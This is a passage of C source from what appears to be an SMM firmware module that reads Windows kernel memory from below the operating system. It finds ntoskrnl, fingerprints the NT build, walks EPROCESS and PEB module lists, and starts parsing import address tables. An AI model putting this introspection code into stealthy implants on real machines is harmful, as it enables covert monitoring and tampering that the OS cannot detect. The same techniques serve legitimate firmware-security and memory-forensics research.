if (!GenerateExportList(ctx, process, module, &exports))
return 0;
UINT64 ret = FindProcAddress(exports, procName);
FreeExportList(exports);
return ret;
}
UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName)
{
for (UINT32 i = 0; i < exports.size; i++)
if (!strcmp(procName, exports.list[i].name))
return exports.list[i].address;
return 0;
}
STATIC UINT16 GetNTVersion(const WinCtx *ctx)
{
UINT64 getVersion = FindProcAddress(ctx->ntExports, "RtlGetVersion");
if (!getVersion)
{
SerialPrintString("ERROR: Failed finding RtlGetVersion \r\n");
return 0;
}
CHAR8 buf[0x100];
v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE);
CHAR8 major = 0, minor = 0;
/* Find writes to rcx +4 and +8 -- those are our major and minor versions */
for (CHAR8 *b = buf; b - buf < 0xf0; b++)
{
if (!major && !minor)
if (*(UINT32 *)(VOID *)b == 0x441c748)
return ((UINT16)b[4]) * 100 + (b[5] & 0xf);
if (!major && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x441c7)
major = b[3];
if (!minor && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x841c7)
minor = b[3];
}
if (minor >= 100)
minor = 0;
return ((UINT16)major) * 100 + minor;
}
STATIC UINT32 GetNTBuild(const WinCtx *ctx)
{
UINT64 getVersion = FindProcAddress(ctx->ntExports, "RtlGetVersion");
if (!getVersion)
{
SerialPrintString("ERROR: Failed finding RtlGetVersion \r\n");
return 0;
}
UINT8 buf[0x100];
v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE);
/* Find writes to rcx +12 -- that's where the version number is stored. These instructions are not on XP, but that is simply irrelevant. */
for (UINT8 *b = buf; b - buf < 0xf0; b++)
{
UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff;
if (val == 0x0c41c7 || val == 0x05c01b)
return *(UINT32 *)(VOID *)(b + 3);
}
/* Build 19044 onwards:
*
* If we can't find the rcx + 12, find what was moved to EAX with offset of RIP,
* In bytecode this translates to 0f b7 05 ef be ad de
* (movzx eax,WORD PTR [rip+offset] , offset deadbeef)
*
* Later on in v_memRead a static offset of 7 is used because the movzx instruction
* takes 7 bytes in total, and RIP is pointing to the *next* instruction.
*/
for (UINT8 *b = buf; b - buf < 0xf0; b++)
{
UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff;
/*
* From 19044 onwards there are many movzx eax,WORD PTR
* instructions, for now the Build is the first being pushed
*/
if (val == 0x05b70f)
{
UINT32 offset = *(UINT32 *)(VOID *)(b + 3);
UINT16 build = 0;
v_memRead((UINT64)&build, getVersion + (b - buf) + 7 + offset, sizeof(build), ctx->initialProcess.dirBase, FALSE);
/*
* For some reason the kernel first tries to offer 19041 as the build number here,
* but after a couple of retries the build number is magically patched to
* 19044. Gotta love Microsoft :-)
*/
if(build > 19041)
return (UINT32)build;
return 0;
}
}
return 0;
}
STATIC BOOLEAN SetupOffsets(WinCtx *ctx)
{
switch (ctx->ntVersion)
{
case 502: /* XP SP2 */
ctx->offsets = (WinOffsets){
.apl = 0xe0,
.session = 0x260,
.imageFileName = 0x268,
.dirBase = 0x28,
.peb = 0x2c0,
.peb32 = 0x30,
.threadListHead = 0x290,
.threadListEntry = 0x3d0,
.teb = 0xb0};
break;
case 601: /* W7 */
ctx->offsets = (WinOffsets){
.apl = 0x188,
.session = 0x2d8,
.imageFileName = 0x2e0,
.dirBase = 0x28,
.peb = 0x338,
.peb32 = 0x30,
.threadListHead = 0x300,
.threadListEntry = 0x420, /* 0x428 on later SP1 */
.teb = 0xb8};
/* SP1 */
if (ctx->ntBuild == 7601)
ctx->offsets.imageFileName = 0x2d8;
break;
case 602: /* W8 */
ctx->offsets = (WinOffsets){
.apl = 0x2e8,
.session = 0x430,
.imageFileName = 0x438,
.dirBase = 0x28,
.peb = 0x338, /*peb will be wrong on Windows 8 and 8.1*/
.peb32 = 0x30,
.threadListHead = 0x470,
.threadListEntry = 0x400,
.teb = 0xf0};
break;
case 603: /* W8.1 */
ctx->offsets = (WinOffsets){
.apl = 0x2e8,
.session = 0x430,
.imageFileName = 0x438,
.dirBase = 0x28,
.peb = 0x338,
.peb32 = 0x30,
.threadListHead = 0x470,
.threadListEntry = 0x688, /* 0x650 on previous builds */
.teb = 0xf0};
break;
case 1000: /* W10 */
ctx->offsets = (WinOffsets){
.apl = 0x2e8,
.session = 0x448,
.imageFileName = 0x450,
.dirBase = 0x28,
.peb = 0x3f8,
.peb32 = 0x30,
.threadListHead = 0x488,
.threadListEntry = 0x6a8,
.teb = 0xf0};
if (ctx->ntBuild >= 18362)
{ /* Version 1903 or higher */
ctx->offsets.apl = 0x2f0;
ctx->offsets.threadListEntry = 0x6b8;
}
if (ctx->ntBuild >= 19041)
{
ctx->offsets.apl = 0x448;
ctx->offsets.session = 0x558;
ctx->offsets.imageFileName = 0x5a8;
ctx->offsets.peb = 0x550;
ctx->offsets.threadListHead = 0x5e0;
ctx->offsets.threadListEntry = 0x4e8; //probably wrong, but it's not used anywhere
}
break;
default:
return FALSE;
}
return TRUE;
}
BOOLEAN InitGlobalWindowsContext()
{
SerialPrintStringDebug("== Initializing windows context struct ==\r\n");
if (winGlobal)
{
SerialPrintStringDebug(" Cleaning up old Windows struct ...\r\n");
FreeExportList(winGlobal->ntExports);
}
SerialPrintStringDebug(" Dynamic memory allocated before WinCtx init: ");
SerialPrintNumberDebug(GetMemAllocated(), 10);
SerialPrintStringDebug("\r\n");
BOOLEAN status = TRUE;
BOOLEAN verbose = FALSE;
// Search for the PML4 and kernelEntry
UINT64 PML4, kernelEntry;
status = CheckLow(&PML4, &kernelEntry);
if (status == TRUE)
{
SerialPrintStringDebug(" PML4: 0x");
SerialPrintNumberDebug(PML4, 16);
SerialPrintStringDebug(" Kernel entrypoint: 0x");
SerialPrintNumberDebug(kernelEntry, 16);
SerialPrintStringDebug("\r\n");
winGlobal->initialProcess.dirBase = PML4;
}
else
{
SerialPrintString("KernelEntry failed! \r\n");
return FALSE;
}
// Search ntoskrnl
status = findNtosKrnl(kernelEntry, PML4, &winGlobal->ntKernel);
if (status == TRUE)
{
SerialPrintStringDebug(" NT kernel: 0x");
SerialPrintNumberDebug(winGlobal->ntKernel, 16);
SerialPrintStringDebug("\r\n");
}
else
{
SerialPrintStringDebug("ERROR: Failed finding NT kernel!\r\n");
return FALSE;
}
SerialPrintStringDebug(" Parsing Windows kernel exports ...\r\n");
if (GenerateExportList(winGlobal, &winGlobal->initialProcess, winGlobal->ntKernel, &winGlobal->ntExports) == FALSE)
{
return FALSE;
}
UINT64 PsInitialSystemProcess = FindProcAddress(winGlobal->ntExports, "PsInitialSystemProcess");
if (status == TRUE)
{
SerialPrintStringDebug(" PsInitialSystemProcess: 0x");
SerialPrintNumberDebug(PsInitialSystemProcess, 16);
SerialPrintStringDebug("\r\n");
}
else
{
SerialPrintString("ERROR: Failed finding PsInitialSystemProcess\r\n");
return FALSE;
}
// Find System EPROCESS
UINT64 systemProcess = 0;
v_memRead((UINT64)&systemProcess, PsInitialSystemProcess, sizeof(UINT64), PML4, verbose);
if (status == TRUE)
{
SerialPrintStringDebug(" SystemProcess: 0x");
SerialPrintNumberDebug(systemProcess, 16);
SerialPrintStringDebug("\r\n");
}
else
{
SerialPrintString("ERROR: Failed finding SystemProcess\r\n");
return FALSE;
}
winGlobal->initialProcess.process = systemProcess;
winGlobal->initialProcess.physProcess = VTOP(systemProcess, PML4, verbose);
// Get Kernel Version & Build
winGlobal->ntVersion = GetNTVersion(winGlobal);
if (winGlobal->ntVersion == 0)
{
SerialPrintString("ERROR: Failed finding NT version\r\n");
return FALSE;
}
SerialPrintStringDebug(" NtVer: ");
SerialPrintNumberDebug(winGlobal->ntVersion, 10);
SerialPrintStringDebug("\r\n");
winGlobal->ntBuild = GetNTBuild(winGlobal);
if (winGlobal->ntBuild == 0)
{
SerialPrintString("ERROR: Failed finding NT build!\r\n");
return FALSE;
}
SerialPrintStringDebug(" NtBuild ");
SerialPrintNumberDebug(winGlobal->ntBuild, 10);
SerialPrintStringDebug("\r\n");
status = SetupOffsets(winGlobal);
if (status == FALSE)
{
SerialPrintString("ERROR: Failed setting Windows offsets!\r\n");
return FALSE;
}
SerialPrintStringDebug("== Windows offsets set! ==\r\n\r\n");
return TRUE;
}
BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList)
{
BOOLEAN verbose = FALSE;
if (exports->Size < sizeof(IMAGE_EXPORT_DIRECTORY) || exports->Size > 0x7fffff || exports->VirtualAddress == moduleBase)
return FALSE;
UINT64 realSize = exports->Size & 0xFFFFFFFFFFFFF000;
realSize = realSize + 0x1000;
EFI_PHYSICAL_ADDRESS physAddr;
CHAR8 *buf;
EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, (realSize / 0x1000), &physAddr);
if (ret != EFI_SUCCESS)
{
SerialPrintString(" Failed allocating pages while parsing export table! \r\n");
return FALSE;
}
buf = (CHAR8 *)physAddr;
IMAGE_EXPORT_DIRECTORY *exportDir = (IMAGE_EXPORT_DIRECTORY *)(VOID *)buf;
for (INT32 i = 0; i < (realSize / 0x1000); i++)
{
// Read page by page into buffer
UINT64 physicalP = 0;
physicalP = VTOP(moduleBase + exports->VirtualAddress + (i * 0x1000), process->dirBase, verbose);
if (IsAddressValid(physicalP) == TRUE && physicalP != 0)
{
// Valid address, read it now
if (p_memCpy((UINT64)(buf + (i * 0x1000)) & 0xFFFFFFFFFFFFF000, physicalP & 0xFFFFFFFFFFFFF000, 0x1000, verbose) == FALSE)
SerialPrintString(" Failed physread! \r\n");
}
else
{
SerialPrintString(" Invalid Address! \r\n");
}
}
SerialPrintStringDebug(" Finished Export Table.. NameAmount ");
SerialPrintNumberDebug(exportDir->NumberOfNames, 10);
SerialPrintStringDebug("\r\n");
buf[exports->Size] = 0;
if (!exportDir->NumberOfNames || !exportDir->AddressOfNames)
{
SerialPrintString(" Export Table invalid! NON is 0 \r\n");
gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
return FALSE;
}
UINT32 exportOffset = exports->VirtualAddress;
UINT32 *names = (UINT32 *)(VOID *)(buf + exportDir->AddressOfNames - exportOffset);
// THIS FAILS FOR KERNEL32.DLL
// TODO: FIX IT!
if (exportDir->AddressOfNames - exportOffset + exportDir->NumberOfNames * sizeof(UINT32) > exports->Size)
{
gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
return FALSE;
}
UINT16 *ordinals = (UINT16 *)(VOID *)(buf + exportDir->AddressOfNameOrdinals - exportOffset);
if (exportDir->AddressOfNameOrdinals - exportOffset + exportDir->NumberOfNames * sizeof(UINT16) > exports->Size)
{
gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
return FALSE;
}
UINT32 *functions = (UINT32 *)(VOID *)(buf + exportDir->AddressOfFunctions - exportOffset);
if (exportDir->AddressOfFunctions - exportOffset + exportDir->NumberOfFunctions * sizeof(UINT32) > exports->Size)
{
gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
return FALSE;
}
SerialPrintStringDebug(" Dynamically allocating table ...\r\n");
outList->size = exportDir->NumberOfNames;
outList->list = (WinExport *)malloc(sizeof(WinExport) * outList->size);
if (!outList->list)
{
SerialPrintString("ERROR: Allocating memory for the NtKernel export list failed! alloc size was ");
SerialPrintNumber(outList->size, 10);
SerialPrintString("\r\n");
gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
return FALSE;
}
size_t sz = 0;
SerialPrintStringDebug(" Filling the export list ...\r\n");
for (UINT32 i = 0; i < exportDir->NumberOfNames; i++)
{
if (names[i] > exports->Size + exportOffset || names[i] < exportOffset || ordinals[i] > exportDir->NumberOfNames)
continue;
outList->list[sz].name = strdup(buf + names[i] - exportOffset);
outList->list[sz].address = moduleBase + functions[ordinals[i]];
sz++;
}
outList->size = sz;
gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
SerialPrintStringDebug(" Export list successfully filled!\r\n");
return TRUE;
}
BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList)
{
UINT8 is64 = 0;
UINT8 headerBuf[HEADER_SIZE];
IMAGE_NT_HEADERS64 *ntHeader64 = GetNTHeader(ctx, process, moduleBase, headerBuf, &is64);
if (!ntHeader64)
return FALSE;
IMAGE_NT_HEADERS32 *ntHeader32 = (IMAGE_NT_HEADERS32 *)ntHeader64;
IMAGE_DATA_DIRECTORY *exportTable = NULL;
if (is64)
{
SerialPrintStringDebug(" Parsing export table for 64-bit module ...\r\n");
exportTable = ntHeader64->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
}
else
{
SerialPrintStringDebug(" Parsing export table for 32-bit module ...\r\n");
exportTable = ntHeader32->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
}
return ParseExportTable(ctx, process, moduleBase, exportTable, outList);
}
IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit)
{
v_memRead((UINT64)header, address, HEADER_SIZE, process->dirBase, FALSE);
//TODO: Allow the compiler to properly handle alignment
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)(VOID *)header;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
IMAGE_NT_HEADERS *ntHeader = (IMAGE_NT_HEADERS *)(VOID *)(header + dosHeader->e_lfanew);
if ((UINT8 *)ntHeader - header > HEADER_SIZE - 0x200 || ntHeader->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC && ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC)
return NULL;
*is64Bit = ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
return ntHeader;
}
BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose)
{
UINT64 curProc = ctx->initialProcess.physProcess;
UINT64 virtProcess = ctx->initialProcess.process;
if (verbose)
{
SerialPrintStringDebug(" curProc: ");
SerialPrintNumberDebug(curProc, 16);
SerialPrintStringDebug(" virtProcess ");
SerialPrintNumberDebug(virtProcess, 16);
SerialPrintStringDebug("\r\n");
}
BOOLEAN foundSystemProcess = FALSE;
UINT32 size = 0;
while (!size || curProc != ctx->initialProcess.physProcess)
{
UINT64 *session = 0;
if (IsAddressValid(curProc + ctx->offsets.session) == TRUE)
{
session = (UINT64 *)(curProc + ctx->offsets.session);
if (verbose)
{
SerialPrintString(" Session: ");
SerialPrintNumber(*session, 16);
SerialPrintString(" at ");
SerialPrintNumber(curProc + ctx->offsets.session, 16);
SerialPrintString("\r\n");
}
}
UINT64 *dirBase = 0;
if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE)
{
dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase);
if (verbose)
{
SerialPrintString(" dirBase: ");
SerialPrintNumber(*dirBase, 16);
SerialPrintString(" at ");
SerialPrintNumber(curProc + ctx->offsets.dirBase, 16);
SerialPrintString("\r\n");
}
}
UINT64 *pid = 0;
if (IsAddressValid(curProc + ctx->offsets.apl - 8) == TRUE)
{
pid = (UINT64 *)(curProc + ctx->offsets.apl - 8);
if (verbose)
{
SerialPrintString(" pid: ");
SerialPrintNumber(*pid, 16);
SerialPrintString(" at ");
SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16);
SerialPrintString("\r\n");
}
}
if (*session || *pid == 4)
{
size++;
CHAR8 *name;
if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE)
{
name = (CHAR8 *)(curProc + ctx->offsets.imageFileName);
if (!strcmp(name, "System"))
{
foundSystemProcess = TRUE;
}
// Check if it's the process requested
if (!strcmp(name, processname))
{
return TRUE;
}
}
}
// get the next process
UINT64 *tempVirt;
if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE)
{
tempVirt = (UINT64 *)(curProc + ctx->offsets.apl);
virtProcess = *tempVirt;
}
else
{
virtProcess = 0;
}
virtProcess = virtProcess - ctx->offsets.apl;
if (verbose)
{
SerialPrintString(" virtProcess: ");
SerialPrintNumber(virtProcess, 16);
SerialPrintString("\r\n");
}
if (!virtProcess)
break;
curProc = VTOP(virtProcess, *dirBase, verbose);
if (verbose)
{
SerialPrintString(" curProc: ");
SerialPrintNumber(curProc, 16);
SerialPrintString("\r\n");
}
if (!curProc)
break;
}
// If the windows struct is trashed during bootup or smth,
// re-init the windows structs
if (!foundSystemProcess)
InitGlobalWindowsContext();
return FALSE;
}
BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose)
{
UINT64 curProc = ctx->initialProcess.physProcess;
UINT64 virtProcess = ctx->initialProcess.process;
if (verbose)
{
SerialPrintString(" curProc: ");
SerialPrintNumber(curProc, 16);
SerialPrintString(" virtProcess ");
SerialPrintNumber(virtProcess, 16);
SerialPrintString("\r\n");
}
UINT32 size = 0;
while (!size || curProc != ctx->initialProcess.physProcess)
{
UINT64 *session = 0;
if (IsAddressValid(curProc + ctx->offsets.session) == TRUE)
{
session = (UINT64 *)(curProc + ctx->offsets.session);
if (verbose)
{
SerialPrintString(" Session: ");
SerialPrintNumber(*session, 16);
SerialPrintString(" at ");
SerialPrintNumber(curProc + ctx->offsets.session, 16);
SerialPrintString("\r\n");
}
}
UINT64 *dirBase = 0;
if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE)
{
dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase);
if (verbose)
{
SerialPrintString(" dirBase: ");
SerialPrintNumber(*dirBase, 16);
SerialPrintString(" at ");
SerialPrintNumber(curProc + ctx->offsets.dirBase, 16);
SerialPrintString("\r\n");
}
}
UINT64 *pid = 0;
if (IsAddressValid(curProc + ctx->offsets.apl - 8) == TRUE)
{
pid = (UINT64 *)(curProc + ctx->offsets.apl - 8);
if (verbose)
{
SerialPrintString(" pid: ");
SerialPrintNumber(*pid, 16);
SerialPrintString(" at ");
SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16);
SerialPrintString("\r\n");
}
}
if (*session || *pid == 4)
{
size++;
CHAR8 *name;
if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE)
{
name = (CHAR8 *)(curProc + ctx->offsets.imageFileName);
// Check if it's the process requested
if (!strcmp(name, processname))
{
process->dirBase = *dirBase;
process->process = virtProcess;
process->physProcess = curProc;
process->pid = *pid;
return TRUE;
}
}
}
UINT64 *tempVirt;
if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE)
{
tempVirt = (UINT64 *)(curProc + ctx->offsets.apl);
virtProcess = *tempVirt;
}
else
{
virtProcess = 0;
}
virtProcess = virtProcess - ctx->offsets.apl;
if (verbose)
{
SerialPrintString(" virtProcess: ");
SerialPrintNumber(virtProcess, 16);
SerialPrintString("\r\n");
}
if (!virtProcess)
break;
curProc = VTOP(virtProcess, *dirBase, verbose);
if (verbose)
{
SerialPrintString(" curProc: ");
SerialPrintNumber(curProc, 16);
SerialPrintString("\r\n");
}
if (!curProc)
break;
}
return FALSE;
}
STATIC BOOLEAN DumpSingleModule64(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN *x86, BOOLEAN verbose)
{
if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0)
{
SerialPrintString("ERROR: Process not setup correctly for module dumping!\r\n");
return FALSE;
}
PEB peb = GetPeb(ctx, process);
if (peb.Ldr == 0)
{
SerialPrintString("ERROR: Failed reading PEB64 for module dumping!\r\n");
return FALSE;
}
PEB_LDR_DATA *ldr;
UINT64 physLdr = VTOP(peb.Ldr, process->dirBase, FALSE);
if (IsAddressValid(physLdr) == FALSE)
{
SerialPrintString("ERROR: Phys Ldr is invalid while dumping module!\r\n");
return FALSE;
}
ldr = (PEB_LDR_DATA *)physLdr;
UINT64 head = ldr->InMemoryOrderModuleList.f_link;
UINT64 end = head;
UINT64 prev = head + 1;
BOOLEAN module_found = FALSE;
do
{
prev = head;
UINT8 modBuffer[sizeof(LDR_MODULE)];
LDR_MODULE *mod = (LDR_MODULE *)modBuffer;
v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_WIN), sizeof(LDR_MODULE), process->dirBase, FALSE);
v_memRead((UINT64)&head, head, sizeof(head), process->dirBase, FALSE);
if (!mod->BaseDllName.length || !mod->SizeOfImage)
{
continue;
}
if (mod->BaseDllName.buffer == 0)
{
continue;
}
UINT8 oldBuffer[0x28];
v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, process->dirBase, FALSE);
CHAR8 newBuffer[0x15];
for (INT32 i = 0; i < 0x14; i++)
newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2];
newBuffer[0x15 - 1] = '\0';
if (*(INT16 *)(VOID *)newBuffer == 0x53)
{
SerialPrintStringDebug(" WARNING: Name buffer error while dumping module! \r\n");
continue;
}
if (!stricmp(out_module->name, newBuffer))
{
out_module->baseAddress = mod->BaseAddress;
out_module->sizeOfModule = mod->SizeOfImage;
out_module->entryPoint = mod->EntryPoint;
out_module->loadCount = mod->LoadCount;
module_found = TRUE;
}
// bail out if the process is 64-bit,
// find the module with the 32-bit func
if (!strcmp("wow64.dll", newBuffer))
{
*x86 = TRUE;
return FALSE;
}
} while (head != end && head != prev);
if (!module_found)
{
SerialPrintString("ERROR: Could not find module ");
SerialPrintString(out_module->name);
SerialPrintString("\r\n");
}
return module_found;
}
STATIC BOOLEAN DumpSingleModule86(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose)
{
if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0)
{
SerialPrintString("ERROR: Process not setup correctly \r\n");
return FALSE;
}
UINT64 dirBase = process->dirBase;
// Get PEB32 of Process
PEB32 peb = GetPeb32(ctx, process);
if (peb.Ldr == 0)
{
SerialPrintString("Failed reading PEB32 \r\n");
return FALSE;
}
PEB_LDR_DATA32 *ldr;
UINT64 physLdr = VTOP(peb.Ldr, dirBase, FALSE);
if (IsAddressValid(physLdr) == FALSE)
{
SerialPrintString("ERROR: Phys Ldr is invalid \r\n");
return FALSE;
}
SerialPrintStringDebug(" Phys Ldr at: ");
SerialPrintNumberDebug(physLdr, 16);
SerialPrintStringDebug("\r\n");
ldr = (PEB_LDR_DATA32 *)physLdr;
SerialPrintStringDebug(" Head Flink: ");
SerialPrintNumberDebug(ldr->InMemoryOrderModuleList.f_link, 16);
SerialPrintStringDebug("\r\n");
UINT32 head = ldr->InMemoryOrderModuleList.f_link;
UINT32 end = head;
UINT32 prev = head + 1;
do
{
prev = head;
UINT8 modBuffer[sizeof(LDR_MODULE32)];
LDR_MODULE32 *mod = (LDR_MODULE32 *)modBuffer;
v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_32_WIN), sizeof(LDR_MODULE32), dirBase, verbose);
v_memRead((UINT64)&head, head, sizeof(head), dirBase, verbose);
if (!mod->BaseDllName.length || !mod->SizeOfImage)
{
SerialPrintStringDebug("INB1\r\n");
continue;
}
if (mod->BaseDllName.buffer == 0)
{
SerialPrintStringDebug("INB2\r\n");
continue;
}
UINT8 oldBuffer[0x28];
v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, dirBase, verbose);
CHAR8 newBuffer[0x15];
for (INT32 i = 0; i < 0x14; i++)
newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2];
newBuffer[0x15 - 1] = '\0';
SerialPrintStringDebug("MN ");
for (INT32 i = 0; i < 0x15; i++)
{
// what the fuck?
// SerialPrintString(newBuffer[i]);
}
SerialPrintStringDebug("\r\n");
if (*(INT16 *)(VOID *)newBuffer == 0x53)
{
SerialPrintStringDebug("ERROR: Buffer error! \r\n");
continue;
}
if (!strcmp(out_module->name, newBuffer))
{
SerialPrintStringDebug(" Found module \r\n");
out_module->baseAddress = mod->BaseAddress;
out_module->sizeOfModule = mod->SizeOfImage;
out_module->entryPoint = mod->EntryPoint;
out_module->loadCount = mod->LoadCount;
return TRUE;
}
} while (head != end && head != prev);
return FALSE;
}
BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose)
{
BOOLEAN x86 = FALSE;
BOOLEAN ret = DumpSingleModule64(ctx, process, out_module, &x86, verbose);
if (ret == FALSE && x86 == FALSE)
{
SerialPrintStringDebug("Could not find the module from a 64-bit process!\r\n");
return FALSE;
}
if (x86)
{
SerialPrintStringDebug("The process seems to be x86 ...\r\n");
ret = DumpSingleModule86(ctx, process, out_module, verbose);
}
return ret;
}
PEB GetPeb(const WinCtx *ctx, const WinProc *process)
{
PEB peb;
UINT64 ppeb = 0;
p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE);
v_memRead((UINT64)&peb, ppeb, sizeof(PEB), process->dirBase, FALSE);
return peb;
}
PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process)
{
PEB32 peb;
UINT64 ppeb = 0;
p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE);
v_memRead((UINT64)&peb, ppeb + 0x1000, sizeof(PEB32), process->dirBase, FALSE);
return peb;
}
STATIC PIMAGE_NT_HEADERS PE_HeaderGetVerify(WinProc *process, WinModule *basemodule, UINT8 *pbModuleHeader, BOOLEAN *pfHdr32)
{
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS ntHeader;
if (pfHdr32)
{
*pfHdr32 = FALSE;
}
v_memRead((UINT64)pbModuleHeader, basemodule->baseAddress, HEADER_SIZE, process->dirBase, FALSE);
dosHeader = (PIMAGE_DOS_HEADER)pbModuleHeader;
if (!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return NULL;
}
if (dosHeader->e_lfanew > 0x800)
{
return NULL;
}
ntHeader = (PIMAGE_NT_HEADERS)(pbModuleHeader + dosHeader->e_lfanew);
if (!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE)
{
return NULL;
}
if ((ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) && (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC))
{
return NULL;
}
if (pfHdr32)
{
*pfHdr32 = (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC);
}
return ntHeader;
}
BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT)
{
EFI_PHYSICAL_ADDRESS physAddr;
EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);
if (ret != EFI_SUCCESS)
{
SerialPrintString("ERROR: Failed allocating pages \r\n");
return FALSE;
}
UINT8 *pbModuleHeader = (UINT8 *)physAddr;
// nullify the allocated memory
for (INT32 k = 0; k < 0x1000; k++)
{
pbModuleHeader[k] = 0x00;
}
PIMAGE_NT_HEADERS64 ntHeader64;
PIMAGE_NT_HEADERS32 ntHeader32;
UINT64 i, oImportDirectory;
PIMAGE_IMPORT_DESCRIPTOR pIID;
UINT64 *pIAT64;
UINT64 *pHNA64;
UINT32 *pIAT32;
UINT32 *pHNA32;
UINT32 cbModule;
UINT8 *pbModule = NULL;
BOOLEAN f32, fFnName;
UINT32 c, j;
CHAR8 *szNameFunction;
CHAR8 *szNameModule;
// load both 32/64 bit ntHeader (only one will be valid)
if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))
{
SerialPrintString("ERROR: Parsing PE headers in VMM failed!\r\n");
goto fail;
}
ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64;
cbModule = f32 ? ntHeader32->OptionalHeader.SizeOfImage : ntHeader64->OptionalHeader.SizeOfImage;
// too large
if (cbModule > 0x02000000)
{
SerialPrintString("ERROR: Module size too large\r\n");
goto fail;
}
oImportDirectory = f32 ? ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress : ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (!oImportDirectory || (oImportDirectory >= cbModule))
{
SerialPrintString("ERROR: offset of import directory failed\r\n");
goto fail;
}
// allocate the huge buffer for the module image inside SMM.
// TODO: this is very ugly and shall not be done, definitely WIP
SerialPrintStringDebug(" Allocating ");
SerialPrintNumberDebug(cbModule, 10);
SerialPrintStringDebug(" bytes of memory for the PE image ...\r\n");
EFI_PHYSICAL_ADDRESS physAddrImage;
ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbModule / 0x1000 + 1, &physAddrImage);
if (ret != EFI_SUCCESS)
{
SerialPrintStringDebug("ERROR: IAT: Failed allocating pages for the module image data \r\n");
goto fail;
}
pbModule = (UINT8 *)physAddrImage;
// nullify the allocated memory
for (INT32 k = 0; k < cbModule; k++)
{
pbModule[k] = 0x00;
}
v_memReadMultiPage((UINT64)pbModule, basemodule->baseAddress, cbModule, process->dirBase, FALSE);
// Walk imported modules / functions
pIID = (PIMAGE_IMPORT_DESCRIPTOR)(pbModule + oImportDirectory);
i = 0, c = 0;
while ((oImportDirectory + (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR) < cbModule) && pIID[i].FirstThunk)
{
if (pIID[i].Name > cbModule - 64)
{
i++;
continue;
}
if (f32)
{
// 32-bit PE
